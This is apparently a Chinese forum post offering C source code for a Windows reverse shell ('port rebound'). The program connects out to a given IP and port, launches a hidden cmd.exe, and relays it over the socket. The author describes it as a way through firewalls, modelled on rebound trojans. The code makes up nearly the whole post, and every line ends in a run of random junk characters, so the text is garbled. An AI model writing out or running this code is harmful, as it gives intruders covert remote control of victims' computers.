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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G{ |0}  
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/* ============================== A:-MRhE9X  
Rebound port in Windows NT nnzfKn:J  
By wind,2006/7 >5O#_?  
===============================*/ zeC@!,lH  
#include Z(|@C(IL0\  
#include mQbpv'N  
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#pragma comment(lib,"wsock32.lib") Bq l 5=p  
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void OutputShell(); K)D5%?D  
SOCKET sClient; t PJW|wo  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H3}eFl=i2  
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void main(int argc,char **argv) 7EfLd+  
{ : \{>+!`w  
WSADATA stWsaData; =7e|e6  
int nRet; 4!q4WQ ;  
SOCKADDR_IN stSaiClient,stSaiServer; ?cZ#0U  
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if(argc != 3) l[,RA?i {  
{ `<?{%ja  
printf("Useage:\n\rRebound DestIP DestPort\n"); (TX\vI&  
return; u|.c?fW'3  
} EgYM][:UU  
M0B6v} ^H  
WSAStartup(MAKEWORD(2,2),&stWsaData); LH:M`\(DL1  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A^%li^qz  
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stSaiClient.sin_family = AF_INET; %8L>|QOX  
stSaiClient.sin_port = htons(0); ?Nbc#0pb7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >~%EB?8  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1#Ls4+]5  
{ Pse1NMK9 [  
printf("Bind Socket Failed!\n"); }k{h^!fV  
return; 8E/wUN,Lxj  
} Au=9<WB%H  
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stSaiServer.sin_family = AF_INET; zXEu3h  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); MF41q%9p  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z#j)uD  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n[E#K`gg'  
{ f%g^6[  
printf("Connect Error!"); =V[ey  
return; "3?N*,U_  
} @W|N1,sp  
OutputShell(); 8Qo~zO  
} yF _@^V  
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void OutputShell() US.7:S-r"  
{ q^I/  
char szBuff[1024]; h1A/:/_M6  
SECURITY_ATTRIBUTES stSecurityAttributes; pBbfU2p  
OSVERSIONINFO stOsversionInfo; >RTmfV  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7GFE5>H  
STARTUPINFO stStartupInfo; DHnO ,"  
char *szShell; ^&Exa6=*FT  
PROCESS_INFORMATION stProcessInformation; 6-+q3#e  
unsigned long lBytesRead; YVcO+~my  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )' hOW*v  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y30T>5  
stSecurityAttributes.lpSecurityDescriptor = 0; #+Pk_?  
stSecurityAttributes.bInheritHandle = TRUE; O} &%R:  
eM) I%  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c1wP/?|.>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); FG6bKvEQm^  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ULJV  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ch;wvoy  
stStartupInfo.wShowWindow = SW_HIDE; c*@#0B  
stStartupInfo.hStdInput = hReadPipe; "R!) "B==  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'f "KV|  
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GetVersionEx(&stOsversionInfo); $oo`]R_   
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switch(stOsversionInfo.dwPlatformId) !Z}d^$  
{ CI}zu;4|  
case 1: 4H]~]?F&  
szShell = "command.com"; lG>,&(  
break; bzC| aUGM  
default: 'LyEdlC]  
szShell = "cmd.exe"; tx9;8K3  
break; X9S` #N  
} 2d:5~fEJp  
cU[^[;4J<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X%sMna)  
6!;eJYj,  
send(sClient,szMsg,77,0); *URBx"5XZ  
while(1) `p'(:W3a  
{ tW8&:L,m  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lR8Lfa*/7  
if(lBytesRead) FD*) @4<o  
{ 26D,(Y$*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |u@/,x/t  
send(sClient,szBuff,lBytesRead,0); zQ=c6xvm8  
} iL6Yk @  
else ,P.yl~'Al  
{ $-Yq?:  
lBytesRead=recv(sClient,szBuff,1024,0); q-lejVS(g  
if(lBytesRead<=0) break; ?r}'0dW  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); YR? ujN  
} V:Lq>rs#  
} 8=T[Y`;x  
h@H8oZ[  
return; IHs^t/;Iv  
}
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